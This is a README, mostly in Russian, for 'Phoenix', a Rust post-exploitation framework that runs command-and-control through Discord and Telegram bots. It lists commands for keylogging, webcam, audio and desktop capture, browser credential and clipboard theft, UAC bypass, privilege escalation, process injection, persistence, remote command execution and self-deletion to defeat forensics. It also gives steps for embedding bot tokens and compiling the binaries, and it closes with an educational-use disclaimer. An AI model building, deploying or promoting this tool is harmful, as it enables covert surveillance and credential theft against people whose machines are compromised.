Phoenix-Framework

Phoenix — это асинхронный фреймворк для постэксплуатации, который злоупотребляет доверенными сайтами для C2.

Поддерживаемые платформы

Phoenix в настоящее время поддерживает следующие платформы через их Bot API:

• Discord
• Telegram
• Reddit (скоро)

Phoenix предлагает следующие основные функции:

• Обфускация строк
• Автоматическая загрузка вложений, загруженных пользователями в чат
• Функция самоуничтожения для затруднения криминалистического анализа
• Кейлоггинг с возможностью захвата заголовков окон
• Захват веб-камеры и рабочего стола с прямой трансляцией
• Сбор данных браузера
• ...

Команды

Command             Description
-------             -----------

/hello        		Check if the bot is acive on the host
/help         		Print help message
/persist      		Maintain access after reboot. (Requires UAC bypass)
/sleep        		Sleep. Usage: /sleep (seconds)
/reboot       		Reboot the host
/shutdown     		Shutdown the host
/exit         		End the session
/self_del     		Self-delete the executable 

/pwd         	 	Print working directory
/dir          		List working directory
/cd           		Change directory. Usage: /cd (path)
/search       		Search for files. Usage: /search (path) (file)
/upload       		Upload files. Usage: /upload (file), /upload *.jpg
/uid          		Get the user id
/users        		List the available users
/privs        		List the privileges
/sysinfo      		Print system informations
/location     		Retrieve geolocation informations

/hw           		List installed hardware
/sw           		list installed software
/drv          		List connected drives
/net          		List network Adapters
/pid          		Show the current process ID
/ps           		List running processes
/pkill        		Kill a process by ID
/exec         		Execute a command

/chat         		Display a custom message
/webcam_list      	List available webcams
/webcam_snap      	Take a webcam snapshot: Usage: /webcam_snap (index)
/recaudio         	Record audio. Usage: /recaudio (seconds)
/screenshot       	Take a screenshot

/keylog          	Start keylogging
/keylog_stop      	Stop keylogging threads

/browser_dump     	Dump browser data
/clipboard        	Dump clipboard data

/stream_desktop   	Live stream the host desktop
/stream_webcam    	Live stream the host webcam
/stream_stop      	Stop live streaming threads *** needs work 

/get_system       	Elevate privileges to SYSTEM
/bypass_uac       	Bypass UAC prompts

/inject 		  	Inject a target process. Usage: /inject (dll_path)

[!NOTE]

Phoenix поддерживает сбор данных из следующих браузеров: Chrome, Edge, Brave и firefox.

• В настоящее время дешифрование паролей Firefox не поддерживается!
• Модуль дампа Chromium основан на проекте с открытым исходным кодом: https://github.com/Maldev-Academy/DumpBrowserSecrets/tree/main/DllExtractChromiumSecrets.

В таблице ниже показан список собираемых данных для каждого поддерживаемого браузера:

Использование

Phoenix в настоящее время реализует простую XOR-обфускацию, то есть токены по-прежнему будут жестко закодированы в бинарном файле. Обфускация — это лишь базовая защита для предотвращения поверхностного просмотра строк, а не для остановки опытных реверс-инженеров.

+ Ngrok:

Ngrok необходим для туннелирования трафика прямой трансляции; Phoenix не сможет транслировать рабочий стол или веб-камеру хоста без правильного ngrok-токена.

1. Зарегистрируйтесь в сервисе ngrok: https://ngrok.com/
2. В файле /src/tunnel.rs замените переменную token на ваш настоящий токен:

let token = obfuscate!("YOUR_NGROK_TOKEN");

+ Telegram:

1. Создайте бота: https://core.telegram.org/bots/tutorial
2. В файле /src/telegram.rs замените переменные bot_token и id на ваши настоящие токен бота и ID чата:

let bot_token  = obfuscate!("YOUR_TELEGRAM_TOKEN");
let id: i64    = 123456789;

3. Скомпилируйте бинарный файл:

> cargo build --release --bin telegram

+ Discord:

1. Создайте бота: https://discord.com/developers/applications
2. В файле /src/discord.rs замените переменную token на ваш настоящий токен бота:

let token  = obfuscate!("YOUR_DISCORD_TOKEN");

3. Скомпилируйте бинарный файл:

> cargo build --release --bin discord

PoC

[!IMPORTANT] Сгенерированные бинарные файлы требуют прав администратора для корректной работы.

screenshot

🔒 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

[!CAUTION] Этот проект предоставляется только для образовательных и исследовательских целей. Вы несете ответственность за получение надлежащего разрешения перед использованием этого инструмента. Автор не несет ответственности за неправомерное использование.

🤝 Сотрудничество

Приветствуются вклад и предложения! Если у вас есть «этические» деловые вопросы или вы хотите сотрудничать, обращайтесь по адресу: [email protected]